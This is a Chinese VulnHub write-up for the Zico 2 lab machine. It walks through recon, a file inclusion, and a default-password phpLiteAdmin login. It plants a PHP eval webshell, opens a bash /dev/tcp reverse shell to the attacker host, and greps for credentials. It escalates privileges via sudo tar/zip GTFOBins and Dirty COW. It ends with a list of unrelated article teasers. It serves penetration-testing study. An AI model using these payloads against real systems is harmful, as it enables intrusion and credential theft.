Zico 2 靶机 - 详细流程

  • ✨ 准备工作


  1. 靶机 && kali 环境要求

    机器名网络配置
    靶机Zico 2NAT 模式
    攻击机kaliNAT 模式
  2. 靶机下载链接:zico2: 1 ~ VulnHub   

  3. 打开 VMware,将 zico2.ova 拖拽到 VMware

  4. 设置 虚拟机名称(A) - 存储路径(P)- 导入  

  5. 若是,提示出错,点击重试即可

  6. 启动虚拟机,等待安装完成

  7. 启动成功

  8. 右击靶机 - 设置  

  9. 修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击确定

  10. 关闭虚拟机,重复上述操作(8)

  11. 点击  高级,查看MAC地址 - 确定  

  12. 为了防止干扰,这里我将 网络适配器2 的网卡移除

  13. 打开虚拟机

  • ☄️ 信息收集


  1. 确定NAT网段

  2. 可以看到NAT是192.168.49.0/24网段的

  3. kali 执行

    sudo nmap -sn -PR 192.168.49.0/24

  4. 发现靶机IP为:192.168.49.129

  5. 端口扫描:nmap -sV -p- 192.168.49.129      

  6. 发现开启了 22,80 和 111 以及 54476 端口,尝试访问 80 端口,发现如下页面

  • 🌠 获取shell


  1. 在页面下方,发现一个功能点并点击,发现其 URL 具有文件包含漏洞的特征(文件?参数=页面

  2. 第一时间尝试文件包含读取,将 tools.html  替换为  ../../../../../../../../../../etc/passwd  ,确认存在文件包含漏洞。

  3. 继续寻找功能点,发现可见功能点少的可伶,进行目录扫描,找到一个后台登录界面

    dirsearch -u "http://192.168.49.129/"# 登录界面:
    http://192.168.49.129/dbadmin/test_db.php

  4. 发现是 PHPLiteAdmin ,使用默认密码 admin进行登录, 登陆成功!

    # 密码
    admin

  5. 版本是1.9.3 ,并且首页包含了其绝对路径,这对我们的漏洞复现会有帮助(复现可以参考一下这篇文章:phpliteadmin <= 1.9.3 远程php代码执行漏洞测试_网络安全|最新Exploit分析的技术博客_51CTO博客 )

  6. 第一步:创建数据库 test.php   (名字任意,带 .php 就行)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php# Create New Databas
    test.php

  7. 第二步:点击我们新创建的数据库,创建数据表 test_table (这里名字和数量任意)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?switchdb=%2Fusr%2Fdatabases%2Ftest_users# Name
    test_table# Number of Fields
    1

  8. 第三步:写入内容(Field任意,Type为 TEXT,Default Value 处填写我们的恶意语句 <注意:恶意语句不能带任何引号>

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?action=table_create# Field
    test_content# Type
    TEXT# Default Value
    <?php @eval($_POST[cmd])?>

  9. 第四步:写入成功,根据上面提示的绝对路径和任意文件读取漏洞,使用蚁剑进行连接

  10. 确认权限,是一个Web服务用户

  11. 生成反弹shell的语句,在线链接:反弹shell生成器 (ywhack.com)    ,这里我将其反弹到 kali

    # 监听语句
    sudo nc -lvnp 555# 执行反弹shell的命令
    /bin/bash -c '生成的语句'# 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.49.131/555 0>&1'

  12. 反弹成功

  • 💫 权限提升(3)


  1. 通过命令查看,确认该靶机可登录的用户有 rootzico

    grep '/bin/bash$' /etc/passwd

  2. 查找可能包含密码的文件,发现 /home/zico/wordpress/wp-config.php 比较可疑

    find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null# 说明
    从根目录开始查找所有可读的文件,筛选出包含特定关键词("user"、"username"、"passwd" 或 "password")的文件
    然后在这些文件中查找包含另一个关键词("zico")的行,
    最终输出匹配行的文件名和行号,并且在过程中忽略权限错误。# PS:zico 为可登录的用户名

  3. 查看该文件,发现 zico 用户的账户和密码

    cat /home/zico/wordpress/wp-config.php# 账号
    zico# 密码
    sWfCsfJSPV9H3AmQzw8

  4. 另起终端,使用 ssh 登录

    ssh zico@192.168.49.129# 密码
    sWfCsfJSPV9H3AmQzw8

  5. Sudo 提权(2 )&& 脏牛提权(1)

    提权方式详细说明

    方式一:Sudo 提权(2)

    • 列出当前用户拥有sudo权限的命令

    • sudo -l

      sudo -l

    • 发现拥有sudo权限的是 tarzip ,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins  ;

      tar 提权

      • 输入tar  - 点击 Sudo

        tar

      • 复制并执行这条命令,提权成功

        sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

      zip 提权

      • 输入zip  - 点击 Sudo

        zip# 临时文件TF=$(mktemp -u)/tmp/147.zip# 提权 (将/etc/hosts文件压缩到 /tmp/111.zip 文件中)sudo zip $TF /etc/hosts -T -TT 'sh #'sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'sudo rm /tmp/147.zip

      • 修改并执行命令,提权成功

        sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'

    方式二:脏牛提权

    • 查看靶机的系统版本

      uname -r

    • 发现是3.2.0-23 版本,介于 2.6.22 < x < 3.9  ,尝试进行脏牛提权

    • 在蚁剑的 数据管理 中选中建立的连接,右键 - 选择文件管理, 查看文件

    • 下载链接:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)   

    • 若官网不可用,也可以在github任找一个,例:NIMOS/exploit/exploit-db/40839.c at 2c451f84893956f6ef90d689c20062bb073e865d · sominsong/NIMOS (github.com)    ,

    • 将提权文件拖拽到网站目录下(默认路径:/var/www 没有权限,所以我们随便点到 /var/www 目录下的任意文件夹就可以上传了)

    • 切换到当前目录,编译执行,并输入要设置的密码

      # 切换目录(你上传的目录)
      cd /var/www/css# 查看当前目录
      ls# 编译 40839.c ,输出可执行文件 40839 
      gcc -pthread 40839.c -o 40839 -lcrypt# 执行
      ./40839# 输入要设置的密码(这里我输入123456)
      123456

    • 添加 高权限 firefart 用户 成功

    • PS:这里添加成功后可能会卡住,卡住也没关系,这里我们需要登录之前找到的 zico 用户 来切换用户(当前终端无法切换用户)

      ssh zico@192.168.49.129# 密码
      sWfCsfJSPV9H3AmQzw8# 切换用户
      su firefart# 输入你设置的密码
      123456# 提权成功

  6. 提权成功,查找flag

    find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null# 说明
    从 /root 目录下查找 文件名或文件内容包含 flag 的文件 (一般flag都在root下,你也可以改为 / ,从根目录开始找)

  7. 附Falg位置: /root/flag.txt   ,

    cat /root/flag.txt

  • 🌌 总结


  1. 流程:主机发现 - 信息收集 - Web渗透 -  获取shell - 权限提升
  2. Web渗透
    1. 当发现 文件?参数=页面 类型,甚至是 文件?参数 ,请第一时间尝试文件包含;

    2. 判明框架网站使用某套框架和特殊的软件时,请第一时间搜索 Nday;

    3. 寻找密码的语句可以在获取 shell 后,尝试运行一下,有时会有意想不到的效果;

      find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    4. 当某个目录拖不进文件时,可以换它的子目录或父目录,因为只是当前目录没有写的权限罢了;

    5. 寻找 Flag 的语句(每次手动翻太麻烦了,这次直接写个查询语句,以后方便用)

      find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/56595.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

几种HTTP请求参数的简单介绍

目录 一、概述 二、查询参数 三、JSON格式参数 四、x-www-form-urlencoded 五、multipart/form-data 一、概述 在 Web 开发中&#xff0c;前端需要与后端服务器进行数据交互&#xff0c;常见的方式是通过 HTTP 请求发送数据给后端。 本文章将介绍以下几种常用的请求参数…

计算机系统启动流程入门

BIOS (basic input/output system) 第一阶段 : BIOS 硬件自检&#xff08;power-on selt-test&#xff09; BIOS程序首先检查&#xff0c;计算机硬件能否满足运行的基本条件&#xff0c;这叫做"硬件自检"&#xff08;Power-On Self-Test&#xff09;&#xff0c;缩写…

3. 单例模式唯一性问题—构造函数

1. 构造函数带来的唯一性问题指什么&#xff1f; 对于不继承MonoBehaviour的单例模式基类 我们要避免在外部 new 单例模式类对象 例如 &#xff08;完整单例模式定义在上一节&#xff09; public class Main : MonoBehaviour {void Start(){// 破坏单例模式的唯一性&#xf…

【Python】AI Navigator对话流式输出

前言 在上一章节,我们讲解了如何使用Anaconda AI Navigator软件结合python搭建本机的大模型环境 【python】AI Navigator的使用及搭建本机大模型_anaconda ai navigator-CSDN博客 但是在上一章节搭建的大模型环境无法流式输出,导致输出需要等待很久,所以在这一章节,解决…

使用Three.js和Force-Directed Graph实现3D知识图谱可视化

先看样式&#xff1a; 在当今信息爆炸的时代&#xff0c;如何有效地组织和展示复杂的知识结构成为一个重要的挑战。3D知识图谱可视化是一种直观、交互性强的方式来呈现知识之间的关系。本文将详细介绍如何使用HTML、JavaScript、Three.js和Force-Directed Graph库来实现一个交互…

【深度学习】阿里云GPU服务器免费试用3月

【深度学习】阿里云GPU服务器免费试用3月 1.活动页面2.选择交互式建模PAI-DSW3.开通 PAI 并创建默认工作空间4.前往默认工作空间5.创建交互式建模&#xff08;DSW&#xff09;实例 1.活动页面 阿里云免费使用活动页面 2.选择交互式建模PAI-DSW 支持抵扣PAI-DSW入门机型计算用量…

【计算机网络 - 基础问题】每日 3 题(四十六)

✍个人博客&#xff1a;https://blog.csdn.net/Newin2020?typeblog &#x1f4e3;专栏地址&#xff1a;http://t.csdnimg.cn/fYaBd &#x1f4da;专栏简介&#xff1a;在这个专栏中&#xff0c;我将会分享 C 面试中常见的面试题给大家~ ❤️如果有收获的话&#xff0c;欢迎点赞…

Git小知识:合理的分支命名约定

前言&#xff1a;创建新分支时&#xff0c;对 Git 分支进行合理的命名非常重要&#xff0c;应选择有描述性的名称&#xff0c;因为它可以帮助团队成员更好地理解分支的目的和内容&#xff0c;以便将来回顾时能立即明白分支的目的。以下是一些常见的分支命名约定&#xff1a; 功…

【Unity新闻】Unity 6 正式版发布

Unity CEO Matt Bromberg 在今天自豪地宣布&#xff0c;Unity 6 正式发布&#xff01;作为迄今为止最强大和稳定的版本&#xff0c;Unity 6 为游戏和应用开发者提供了大量的新功能和工具&#xff0c;帮助他们加速开发并提升性能。 本次正式版是6.0000.0.23f1&#xff08;LTS&a…

spring-boot学习(2)

上次学习截止到拦截器 1.构建RESfun服务 PathVariable通过url路径获取url传递过来的信息 2.MyBatisPlus 第三行的mydb要改为自己的数据库名 第四&#xff0c;五行的账号密码改成自己的 MaooerScan告诉项目自己的这个MyBatisPlus是使用在哪里的&#xff0c;包名 实体类的定义…

在SpringBoot+VUE中 实现登录-RSA的加密解密

步骤-先理清楚在动手 前端首先调用后端的公钥接口,在前端加密密码传输至后端登录接口后端用私钥解密码拿着用户名去数据库查询出来的盐值加密的 密码1用私钥解密密码登录密码加盐值得到 密码2比较密码1与密码2,相同则登录成功&#xff0c;跳转首页&#xff5c;其他页面 前端实…

OpenCV高级图形用户界面(7)获取指定窗口的属性值函数getWindowProperty()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 提供窗口的参数。 函数 getWindowProperty 返回窗口的属性。 cv::getWindowProperty() 函数用于获取指定窗口的属性值。这个函数允许你查询窗口…

AGI 之 【Dify】 之 使用 Docker 在 Windows 端本地部署 Dify 大语言模型(LLM)应用开发平台

AGI 之 【Dify】 之 使用 Docker 在 Windows 端本地部署 Dify 大语言模型&#xff08;LLM&#xff09;应用开发平台 目录 AGI 之 【Dify】 之 使用 Docker 在 Windows 端本地部署 Dify 大语言模型&#xff08;LLM&#xff09;应用开发平台 一、简单介绍 二、Docker 下载安…

设置 Notepad++ 制表符(Tab 缩进)宽度为2个空格大小

Notepad 默认的制表符宽度是 4 个空格的大小&#xff0c;一个规模比较大的代码段或者 xml 等文件&#xff0c;小屏幕打开时看到的情景真的和让人着急&#xff0c;拖来拖去&#xff01;有两种方案可以解决这种情况。 修改缩进为空格 这种我们不太推荐&#xff0c;但是有些公司…

小白必看web专题!配置环境还在用phpstudy?该用docker了!(php+nginx+mysql+phpmyadmin。)

大家好&#xff0c;我是Dest1ny。 大家用mac或者是windows都是使用phpstudy。 今天docker来搭建一整个phpnginxmysqlphpmyadmin。 而且mac用docker比较方便&#xff01; docker才是众望所归。 大家多多点赞&#xff0c;多多支持&#xff0c;谢谢&#xff01;&#xff01;&…

Linux 重置 root 密码

如果您在Linux系统中忘记了root密码&#xff0c;可以按照以下步骤重置&#xff1a; 重启系统。在启动时&#xff0c;当GRUB菜单出现时&#xff0c;选择要启动的内核版本&#xff0c;然后按 e 键编辑启动选项。找到以linux或linux16开头的行&#xff0c;它包含了启动内核的命令…

Qml-Item的构造和显示顺序

Qml-Item的构造和显示顺序 qml文件中组件构造顺序 在同一个qml文件中&#xff0c;同层级的Item, 文件尾的Item优先构造&#xff0c;文件首的Item后构造。这就能解释默认情况下同一个qml文件中&#xff0c;几个同层级的item都设置了focus:true&#xff0c;为啥最上面item最终有…

echarts设置x轴中文垂直显示,x轴滚动条

echarts官网配置&#xff0c;主要配置dataZoom option {xAxis: {type: category,data: [张三,李四,王五,赵六,孙七,周八,吴九,郑十,钱十一,陈十二,刘十三,杨十四,黄十五,何十六,宋十七],axisLabel: {formatter: function (value) {return value.split().join(\n); // 使用换行…

超全!一文详解大型语言模型的11种微调方法

导读&#xff1a;大型预训练模型是一种在大规模语料库上预先训练的深度学习模型&#xff0c;它们可以通过在大量无标注数据上进行训练来学习通用语言表示&#xff0c;并在各种下游任务中进行微调和迁移。随着模型参数规模的扩大&#xff0c;微调和推理阶段的资源消耗也在增加。…

pdf内容三张以上转图片,使用spire.pdf.free

一、依赖 <spire.pdf.free.version>9.13.0</spire.pdf.free.version><itextpdf.version>5.5.13</itextpdf.version><dependency><groupId>e-iceblue</groupId><artifactId>spire.pdf.free</artifactId><version>$…